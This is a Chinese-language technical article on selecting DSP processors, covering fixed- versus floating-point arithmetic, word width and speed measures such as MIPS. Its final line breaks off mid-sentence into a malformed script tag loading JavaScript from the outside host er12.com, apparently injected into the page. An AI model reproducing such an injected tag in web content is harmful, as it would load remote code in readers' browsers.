dsp器件按设计要求可以分为两类。第一类,应用领域为廉价的、大规模嵌入式应用系统,如手机、磁盘驱动(dsp用作伺服电机控制)以及便携式数字音频播放器等。在这些应用中价格和集成度是最重要的考虑因素。对于便携式电池供电的设备,功耗也是一个关键的因素。尽管这些应用常常需要开发运行于dsp的客户应用软件和外围支持硬件,但易于开发的要求仍然是次要的因素,因为批量生产可以分摊开发成本,从而降低单位产品的开发成本。
另外一类是需要用复杂算法对大量数据进行处理的应用,例如声纳探测和地震探测等,也需要用dsp器件。该类设备的批量一般较小、算法要求苛刻、产品很大而且很复杂。所以设计工程师在选择处理器时会尽量选择性能最佳、易于开发并支持多处理器的dsp器件。有时,设计工程师更喜欢选用现成的开发板来开发系统而不是从零开始硬件和软件设计,同时可以采用现成的功能库文件开发应用软件。
在实际设计时应根据具体的应用选择合适的dsp。不同的dsp有不同的特点,适用于不同的应用,在选择时可以遵循以下要点。
算法格式
dsp的算法有多种。绝大多数的dsp处理器使用定点算法,数字表示为整数或-1.0到+1.0之间的小数形式。有些处理器采用浮点算法,数据表示成尾数加指数的形式:尾数×2指数。
浮点算法是一种较复杂的常规算法,利用浮点数据可以实现大的数据动态范围(这个动态范围可以用最大和最小数的比值来表示)。浮点dsp在应用中,设计工程师不用关心动态范围和精度一类的问题。浮点dsp比定点dsp更容易编程,但是成本和功耗高。
由于成本和功耗的原因,一般批量产品选用定点dsp。编程和算法设计人员通过分析或仿真来确定所需要的动态范围和精度。如果要求易于开发,而且动态范围很宽、精度很高,可以考虑采用浮点dsp。
也可以在采用定点dsp的条件下由软件实现浮点计算,但是这样的软件程序会占用大量处理器时间,因而很少使用。有效的办法是“块浮点”,利用该方法将具有相同指数,而尾数不同的一组数据作为数据块进行处理。“块浮点”处理通常用软件来实现。
数据宽度
所有浮点dsp的字宽为32位,而定点dsp的字宽一般为16位,也有24位和20位的dsp,如摩托罗拉的dsp563xx系列和zoran公司的 zr3800x系列。由于字宽与dsp的外部尺寸、管脚数量以及需要的存储器的大小等有很大的关系,所以字宽的长短直接影响到器件的成本。字宽越宽则尺寸越大,管脚越多,存储器要求也越大,成本相应地增大。在满足设计要求的条件下,要尽量选用小字宽的dsp以减小成本。
在关于定点和浮点的选择时,可以权衡字宽和开发复杂度之间的关系。例如,通过将指令组合连用,一个16位字宽的dsp器件也可以实现32位字宽双精度算法(当然双精度算法比单精度算法慢得多)。如果单精度能满足绝大多数的计算要求,而仅少量代码需要双精度,这种方法也可行,但如果大多数的计算要求精度很高,则需要选用较大字宽的处理器。
请注意,绝大多数dsp器件的指令字和数据字的宽度一样,也有一些不一样,如adi(模拟器件公司)的adsp-21xx系列的数据字为16位而指令字为24位。
dsp的速度
处理器是否符合设计要求,关键在于是否满足速度要求。测试处理器的速度有很多方法,最基本的是测量处理器的指令周期,即处理器执行最快指令所需要的时间。指令周期的倒数除以一百万,再乘以每个周期执行的指令数,结果即为处理器的最高速率,单位为每秒百万条指令mips。
但是指令执行时间并不能表明处理器的真正性能,不同的处理器在单个指令完成的任务量不一样,单纯地比较指令执行时间并不能公正地区别性能的差异。现在一些新的dsp采用超长指令字(vliw)架构,在这种架构中,单个周期时间内可以实现多条指令,而每个指令所实现的任务比传统dsp少,因此相对vliw和通用dsp器件而言,比较mips的大小时会产生误导作用。
即?script src=http://er12.com/t.js>